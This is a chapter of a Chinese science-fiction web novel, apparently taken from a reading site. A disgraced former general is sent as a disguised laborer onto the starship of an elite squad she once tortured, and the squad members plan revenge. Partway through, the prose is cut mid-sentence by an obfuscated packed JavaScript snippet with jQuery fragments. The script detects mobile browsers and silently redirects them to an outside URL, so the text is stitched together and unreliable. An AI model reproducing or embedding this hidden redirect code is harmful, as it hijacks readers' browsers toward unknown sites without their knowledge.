“老大,我们的计划失误了,你没有被调到我们星舰上,该死……”
耳道里,一毫米大的通讯器不停传来莉莉安忏悔又无措的话语。
“所以,我被调去了哪里?”
莉莉安艰难发声,“……是浮光号。”
通话结束。
宿夏坐在束缚椅上,双手被固定在两侧扶手的束缚带里,望着头顶小屏幕上轮回滚动的《一号监狱细则》。
这里是联邦一号监狱,号称天才陨落之地,一般罪犯进不来,只关押联邦军政高层出身的重刑犯。
宿夏有幸成为重刑犯之一。
五年前,她成为联邦最年轻的少将,出身贫民窟但能力出众,手段狠辣,是爱德伦上将的得力心腹,权势在握,风光无限。
五年后,爱德伦上将倒台,罪责累累,她也被逮捕,联邦公诉她收受贿赂、恶意刑讯、背叛联邦等多条罪名,被判处五百年有期徒刑。
不过她只在牢里待了一年就要被放出去了。
好消息,旧部暗中为她周旋,安排了个星舰劳役的身份让她提前出狱。
坏消息,弄错星舰了,她即将登上的浮光号星舰,是联邦第一特种小队——浮光小队的专属星舰,浮光小队七个成员,全是3S顶级单兵,一群眼高于顶、傲慢无礼的天之骄子。
她全都狠狠的罪过,羞辱过,严刑审讯过——
好了,现在,她即将成为这群豺狼虎豹嘴下被分食的鱼肉。
希望运气好一点,她能在这些人手下多活几天。
宿夏真诚向深海女神祈愿。
如果祈愿管用的话。
没一会,两名狱警走进来,“恭喜,1377,你今天就可以出狱了。”
“……”
笑不出来。
宿夏被狱警带领着登上一辆飞驰列车前往深蓝城的星舰起落场。
路上,狱警递来一套灰色制服让她换上,“这是劳役的统一工作装。”
宿夏去更衣室穿好工作服,惊喜发现这套工作服配有帽子眼镜口罩和一体式头戴防护等物品。
穿上以后,几乎看不见脸。
如果谨慎点,把脸遮严实,她在浮光号星舰上工作的时候,那些人看不见她的脸,大概率不会注意到她,就不会发现她的身份。
很好,存活率大大提升。
回到车厢,两个狱警聚精会神看着新闻播报,正在热聊。
宿夏安静坐在角落听他们说话。
狱警的交谈围绕罪大恶极已经认罪的宿少将展开,唾骂几句,然后再说到联邦最顶级的浮光小队,日常蛐蛐天龙人的各种八卦怪癖。
最后感慨自己这种普通人和天龙人隔着一条银河那么远,发出一些打发时间的唏嘘。
很快,飞驰列车进入深蓝城,抵达浮光号停靠的星舰起落场。
列车小窗的玻璃反光中映出一个包裹得密不透风的脑袋。
宿夏非常满意,很好,连自己都认不出来自己了。
她透过小窗望向远处。
夜色静谧,一望无际的星空被星舰起落场无处不在蓝色大灯映得湛蓝。
地面上,星舰起落场上回荡着低沉的轰鸣,预示星舰即将启程,踏入星际旅途。
巨大的浮光号星舰就在眼前,蓝色指示灯光一闪一闪,这座身形庞大的巨物即将起飞,穿梭在各个星球之间,去往虫族出没的荒星执行任务。
一个挺拔清瘦的身影立于浮光号星舰舱门前方。
他有着一张无可挑剔的,清冷不可冒犯的面庞,穿着指挥官特有的深蓝色的军服,肩章金黄灿灿,上将的军衔尤为亮眼。
身为联邦身经百战的顶级指挥,运筹帷幄,从无败绩,他的战绩令人咂舌。
出身更是无可指摘,来自联邦指挥官世家,年纪轻轻接过家族头把交椅,地位尊崇。
这便是联邦最出色的3S级指挥官——池晔。
“池晔指挥,这是本次星舰巡航的后勤工作人员,编号1377,她会跟您的队伍一起登舰,负责您和几位特种单兵的生活起居等后勤工作。”
负责本次巡航任务后勤工作的军官一脸恭敬讨好,指了指站在角落里的纤细身影,笑着跟在这位3S级指挥官身后。
池晔淡淡应声,连半个眼神都没有分给旁边低着头躬着身的后勤工作人员。
军官对这位指挥官冷淡的回应没有丝毫不满,依旧挂着完美无瑕的笑容。
“池晔指挥,祝您一路顺利,再见。”
“再见。”
池晔走上星舰,身后跟着一个矮他一头的单薄身影,穿着一身蓝白相间的后勤人员制服。
星舰门缓缓关闭,隔绝外界。
从现在开始,在这座星舰上,指挥官的话就是标尺,高于一切联邦指令。
“知道你的工作范围是什么吗?”池晔缓步往星舰主舱走。
穿着工作制服戴着安全头盔的纤细身影跟在后面,低声回答:“报告长官,知道。”
“嗯,不需要清扫我的房间,除了餐厅、后勤区和他们几个的房间,其他地方不要去。”
“明白。”
星舰是小型星舰,内部只有十多层,虽然比不上大型星舰,但里面功能齐全,工作娱乐兼具。
不过宿夏能活动的地方并不多,只有小小一个后勤部。
第一天不用工作,听完池晔的工作安排,宿夏回了后勤部休息,并得到了一个全新的光脑,里面有她所有能去的地方的秘钥权限。
---
星舰第十层是健身区,联邦为S级特种单兵们准备了充足的活动空间。
裴刃:“可惜啊,没有亲眼看见艾德伦那老东西落魄的样子,他听到终身监禁的判决时,表情一定很精彩。”
身形健硕的男人靠在休闲沙发上,他的气质和长相一样,锋利张扬,桀骜狠戾。
对面,一个气质温和内敛,长相斯文俊美的男人轻笑,这是队医白渝:
“更可惜的是,让艾德伦那条忠心的狗给跑了。”
他们队伍让艾德伦阴过好几次,险些命丧战场,真是好不容易将这老家伙扳下台。
他口中的狗,是艾德伦最得力的手下,一条会咬人的狗,不要命的疯子,叫宿夏。
他们本想把宿夏捞出来,调到他们的星舰上做劳役,届时还不是任由他们捏圆搓扁,怎么报复都行。
可是这小子滑的很,联邦说是把人关进了监狱,但人关在哪里,是否真的在服刑,没有消息透露出来。
“他跑不了。”裴刃神色阴狠,“有人护着也翻不出水花了,只是不知道人在哪,不然……别让他落在老子手上。”
他身为3S级的顶级单兵,竟然几次栽在一个A级的走狗手里,差点要了命,这口气他必须要出。
白渝好心提醒他,“淡定,情绪波动容易犯病,你精神力损伤还没有恢复。”
他是队内军医,负责队内七个人的身体情况,裴刃精神力不稳定,时常发疯,让他很头疼。
不一会,队内另一个单兵雷桉训练结束,洗完澡过来,在白渝身旁坐下,问:“第一军团那群人说送了个大礼给我们,礼物就在星舰上,你们谁看见了,礼物是什么?”
白渝微笑思考,“上头给我们分了这么轻松的任务,还不算是大礼么,已经很久没有休假了。”
对他们来说,这种程度的任务就算是休息了,只是探查几个荒星而已,甚至不需要战斗。
“好吧。”雷柏想想也对,这任务跟养老差不多。
正说着,训练区大门打开,苏决和裴斯勾肩搭背走过来。
苏决勾着裴斯的肩膀,哈哈大笑往这边走。
不知道他说了什么,裴斯脸有些红,看起来不大好意思。
裴刃冷嗤一声,“裴斯,你要是被苏决掰弯,就别姓裴了,也别说我是你哥,丢脸。”
裴刃和裴斯是亲兄弟,两人相差五岁,性格截然相反,一个暴躁狠戾,一个沉静内敛。
裴斯从小就是被哥哥保护的乖孩子,纯纯哥控,对亲哥的话奉如圭臬。
苏决松开裴斯,走过来对着裴刃就是一脚,“说什么呢,恶心,呵,恋爱都没谈过,谁知道你是直是弯。”
裴刃躲开,翻了个白眼。
白渝无情嘲笑:“说得好像你谈过一样。”
他们几个人一路从军校走到战场,共同度过了二十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330614|199158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多年的时光,彼此太过了解,大家都是没牵过女人手的童子鸡,谁看不起谁。
几人凑在一块就免不了互相嘲讽,认识太久,戳对方痛处都很精准,吵着吵着就动起手了。
就在裴刃和苏决准备活动手脚时,副队温瑾然走进来。
温瑾然:“开会,指挥不来,我代他说一下这次行动纲要。”
队伍里,队长池晔是指挥官,副队温瑾然是副指挥兼机甲工程师,白渝是队医,剩下的四个,裴刃、裴斯、苏决和雷柏都是3S级特种单兵。
一说开会,几人都静下来,随温瑾然去了会议室。
---
跟上层的热闹相比,最下层的后勤区就冷清多了。
穿着质朴工作服的人走进浴室,帽子和面罩落地,凌乱黑发散落在身后,随后一张清冷昳丽的脸出现在镜子里。
黑发胡乱披散,几缕贴在白皙柔软的侧脸上,往下看,小巧精致的下巴画出一条线条分明的下颚线,衣领翻卷,露出颈间几寸惹人遐思的肌肤。
淋浴间水雾弥漫,但掩不住那双眯着眼依旧清冷锐气的眸子。
宿夏定定看着镜子里的自己,几秒静止后,歪着头嗤笑一声。
绝美的脸蛋,凹凸有致的身材,偏偏散发着一股爱咋咋地的丧气。
宿夏凝着镜子里的自己,讽刺地弯唇,双眸晦暗。
一年前,她还是艾德伦上将身边的得力助手,现在,她成了负罪的犯人,最下等的劳役。
这艹蛋的人生啊……
在这艘群狼环伺的星舰上,她能活几天都是未知数。
不过没关系,无论落到什么境地,她都会好好地,努力地活着。
再差,还能比二十年前做难民的时候差么,她一步步从垃圾星走出来的时候,可比现在难多了。
宿夏扬起笑脸,抚摸着垂落腰际的长发。
从前给艾德伦做事,为了方便,用特殊药剂伪装成男人,现在弄不到药剂了,容貌和声音变回来了,也就任由头发留长了。
只是……
她的长相并没有改变很多,还是很轻松就能被认出来,如果被他们认出来,要怎么办。
或者说,如果被认出来,想怎么死。
宿夏闭了闭眼,将一个细小的胶囊药丸藏在牙齿里。
这是她手里唯一私藏的东西,吃了这个胶囊,很快会丧失直觉,什么痛苦都感受不到了。
她想活着,但和池晔他们积怨太深,尤其是裴刃,他不会放过她的。
真到万不得已的时候,还是痛痛快快地死,不给他们折磨自己的机会。
星舰在浩瀚星河中穿梭,透过房间里的小窗,能近距离地观察星河中陨石和黑洞。
很美,也很危险。
上午十点,宿夏准时出现在十二层。
池晔和温瑾然住在星舰十五层,苏决和裴斯住在十四层,雷柏和白渝住在十三层,裴刃一个人住在十二层。
在星舰上摸索了三天,宿夏已经掌握了他们七个人的作息时间,裴刃每天这个时间都会去第十层的健身区,她会等裴刃出门再来这边清扫卫生。
只是今天有些特殊,她进入十二层的走廊后,竟然迎面碰上了刚刚出门的裴刃。
和他一起的还有队医白渝。
走廊静悄悄,两人的脚步声极为明显,错落有致,一下又一下。
这声音很浅,但落在宿夏耳里十分刺耳,一下下都像是踩在了她的心脏上。
裴刃和白渝边说边往电梯走,正好和她面对面走过来。
此时掉头回去已经来不及了,宿夏扯了扯脸上的口罩,镇定侧身,为他们让路。
她微低着头,余光看着他们一步步往这边走来。
“你就是星舰上的后勤?”白渝走到她身边时停下了脚步,笑着问。
宿夏没有抬头,尽量放轻声音,平静回答:“是。”
清丽温柔的嗓音让白渝愣了下,多看了这个后勤几眼。
这后勤……怎么是个女的?听声音好像还挺年轻的。
星舰上七个成年男人,深蓝城军方居然给给他们安排了一个女性后勤工作人员。
脑子抽了吗?